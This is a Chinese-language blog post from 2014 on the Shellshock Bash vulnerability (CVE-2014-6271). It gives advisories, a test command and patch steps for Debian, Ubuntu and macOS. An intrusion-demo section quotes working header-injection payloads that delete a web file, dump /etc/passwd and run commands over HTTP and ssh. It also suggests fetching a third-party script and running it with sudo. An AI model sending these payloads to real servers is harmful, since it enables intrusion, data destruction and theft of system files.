不得不說, 嚴重的安全事件第一次發生, 機器多又沒整理時, 會開始做全部機器的列表, 不斷的發生, 可以逼著 練習使用遠端同時執行/檢查 命令 + 練就快速更新套件的能力.
雖然目前看到的 Bash 問題應該都還沒影響(mod_php 沒事), 還是來做點 新聞整理、測試與解法.
這次 Bash 影響的相關資料可見此篇: Bash specially-crafted environment variables code injection attack | Red Hat Security
2014/10/01 更新: 已經有人將連續的 CVE 整理成 Wiki 了 - Shellshock (software bug)
CVE-2014-6271 - Bash 遠端執行的安全漏洞
先看看 常見的 *unix(Linux) / Mac 系統有哪些有被影響到.
註: 只要有使用 Bash 的都可能有問題, 下面列的只是常見的.
安全通報
- GNU Bash patch - bug-bash (thread)
- Debian - Security Information -- DSA-3032-1 bash
- Ubuntu - USN-2362-1: Bash vulnerability
- Redhat - Resolution for Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271) in Red Hat Enterprise Linux
- CentOS - [CentOS] Critical update for bash released today.
上述通報有些沒有清楚的中獎列表, 下面有中獎列表.(Ubuntu 上面通報中, 就有含中獎列表)
- access.redhat.com | CVE-2014-6271 - Redhat 中獎版本列表
- CVE-2014-6271 - Debian 中獎版本清單
測試方法
於 Bash shell 執行下述:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
有出現錯誤訊息就是正確的, 出現 "vulnerable" 就是要做安全性修正.
- 需要安全性更新 的輸出結果
vulnerable
this is a test - 正常安全的輸出結果
bash: warning: x: ignoring function definition attempt
bash: 錯誤,輸入的函數定義為 `x'
this is a test
Debian (Wheezy) / Ubuntu Linux 的解法
- sudo apt-get update
- sudo apt-get install bash # 或 apt-get install --only-upgrade bash 或 apt-get upgrade 即可.
- 註: Ubuntu quantal (含 quantal) 以前的版本, 目前尚未看到修正套件.
若 Debian jessie / squeeze 上述執行還沒辦法修正(由此可看到相關套件修正的版本於何處: Debian Security Information -- DSA-3032-1 bash), 下述兩種版本的各自更新法如下:
- Debian Jessie
- # Debian 修正的sid 版本的 bash 套件
- vim /etc/apt/sources.list # 於最下面新增下述
deb http://ftp.jp.debian.org/debian/ sid main non-free contrib
- apt-get update
- apt-get install bash # 或 apt-get install --only-upgrade bash
- vim /etc/apt/sources.list
- 移掉剛剛新增的 sid 那行
- apt-get update
- 到此即更新完成
- Debian Squeeze
- # Debian 理論上有 squeeze 的版本, 但是還是沒更新到的話, 可以先用 wheezy 的套件
- vim /etc/apt/sources.list # 於最下面新增下述
deb http://ftp.jp.debian.org/debian/ wheezy main non-free contrib
deb http://security.debian.org/ wheezy/updates main contrib non-free - apt-get update
- apt-get install bash # 或 apt-get install --only-upgrade bash
- vim /etc/apt/sources.list
- 移掉剛剛新增的 wheezy 那兩行
- apt-get update
- 到此即更新完成
- 其它更新方法
- 此篇還有其它更新方法, 若上述都不行的話, 可以參考看看. (註: 我沒測試過此篇的方法)
- 詳見: security - What is the CVE-2014-6271 bash vulnerability, and how do I fix it?, 下述摘錄自此篇:
- wget http://down.openyoudao.org/bash-up.sh && sudo bash -x bash-up.sh # 請自行看過 bash-up.sh 的內容再決定要不要執行
MacOS 的解法
MacOS 同樣的也有此問題, 下述文章有整理幾種更新方法:
預設 MacOS 的 Bash 版本是 2007年的版本, 如下:
$ bash --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
可以考慮用下面兩套安裝 Bash 並更新 (註: 我使用最下面自己編譯的方式來解決.)
- 2014/9/30 Mac 發佈更新: OS X Bash Update 1.0 Released to Address Shellshock Security Flaw
- Homebrew
- 開啟終端機
- sudo brew update
- sudo brew upgrade bash # 若沒安裝會出現下述訊息, 再自行決定要不要安裝來解決
- # Error: bash not installed
- Macports
- 開啟終端機
- sudo port selfupdate
- sudo port upgrade bash # 若沒安裝會出現下述訊息, 再自行決定要不要安裝來解決
- # Error: bash is not installed
- sudo port upgrade outdated # 都已經升級了, 順便把舊的套件升一升
- 手動 Make、更新
- 開啟終端機
- mkdir bash-fix
- cd bash-fix
- curl https://opensource.apple.com/tarballs/bash/bash-92.tar.gz | tar zxf -
- cd bash-92/bash-3.2
- curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 | patch -p0
- cd ..
- xcodebuild
- sudo cp /bin/bash /bin/bash.old
- sudo cp /bin/sh /bin/sh.old
- build/Release/bash --version # GNU bash, version 3.2.52(1)-release
- build/Release/sh --version # GNU bash, version 3.2.52(1)-release
- sudo cp build/Release/bash /bin
- sudo cp build/Release/sh /bin
入侵示範
- Exploiting Bash Remote Code Execution Vulnerability (CVE-2014-6271) - YouTube
- 改 User-Agent 字串送 HTTP GET 就可能觸發
- ex: wget -U "() { test;};/usr/bin/touch /tmp/VULNERABLE" myserver/cgi-bin/test
- ex: User-Agent: () { :;}; sudo yum update bash -y || (sudo apt-get update && sudo apt-get install --only-upgrade bash) # 取自: 黑客是門良心事業
- CVE-2014-6271: Bash lets you do bad things. (Shellshock) | Invisible Threat, 下述取自此篇:
- vim poc.cgi # poc.cgi # echo "<html>... exit0"
- curl http://192.168.0.1/poc.cgi # 抓到內容
- curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi # 砍掉 target
- curl -A '() { :; }; /bin/cat /etc/passwd > dumped_file' http://192.168.0.1/poc.cgi # 進一步
- curl http://192.168.0.1/dumped_file # 抓到內容
- Errata Security: The shockingly obsolete code of bash
- Shellshock DHCP RCE Proof of Concept
- Shellshock/bash 漏洞攻擊現身,可發動 DDoS 攻擊
相關新聞 / 網頁
- NVD(美國國家弱點資料庫) - Vulnerability Summary for CVE-2014-6271
- CVE-2014-6271 - 比 HeartBleed Bug 更嚴重的漏洞 ! « TDOHacker
- Unix /Linux 的Bash Shell 出現重大漏洞,危險等級可能超越 Heartbleed | iThome
- debian-security-announce 2014 by thread
- Bug in Bash shell creates big security hole on anything with *nix in it
- Bug 1146319 – CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
- Patch Bash NOW: 'Shell Shock' bug blasts OS X, Linux systems wide open
- oss-security - Re: CVE-2014-6271: remote code execution through bash
- Bash Environment Variables Code Injection Exploit
- oss-sec: Re: CVE-2014-6271: remote code execution through bash
- CVE-2014-6271 : Remote code execution through bash:netsec
- 新發現Bash軟件安全漏洞 威脅恐比"心臟流血"更大
- 'Bash' command flaw leaves Linux, OS X and more open to attack
- CVE-2014-6271 in Ubuntu
- GNU Bash CVE-2014-6271 Remote Code Execution Vulnerability
- Remote exploit vulnerability in bash CVE-2014-6271 | CSO Online
- oss-sec: Re: CVE-2014-6271: remote code execution through bash
- ssh -o 'rsaauthentication yes' 0 '() { ignored; }; /usr/bin/id'
- Bash 遠端執行安全漏洞 | Gea-Suan Lin's BLOG
- How to Detect the ShellShock Bash Bug on Your Internal Network - The State of Security
- 這根本不是 BASH 的 BUG
- Linux大廠二度釋出Shellshock漏洞的修補程式!
- Shellshock (Bash CVE-2014-6271) 威脅仍在擴大中,但無需過度恐慌
- 以下為 2014-10-01 後更新
- Bash 漏洞連環爆:第二波修補還未完,第三波漏洞又來襲!
- 員外 Security: BASH ShellShock 漏洞分析
- Shellshock,Windows 版
- Shellshock 威脅案例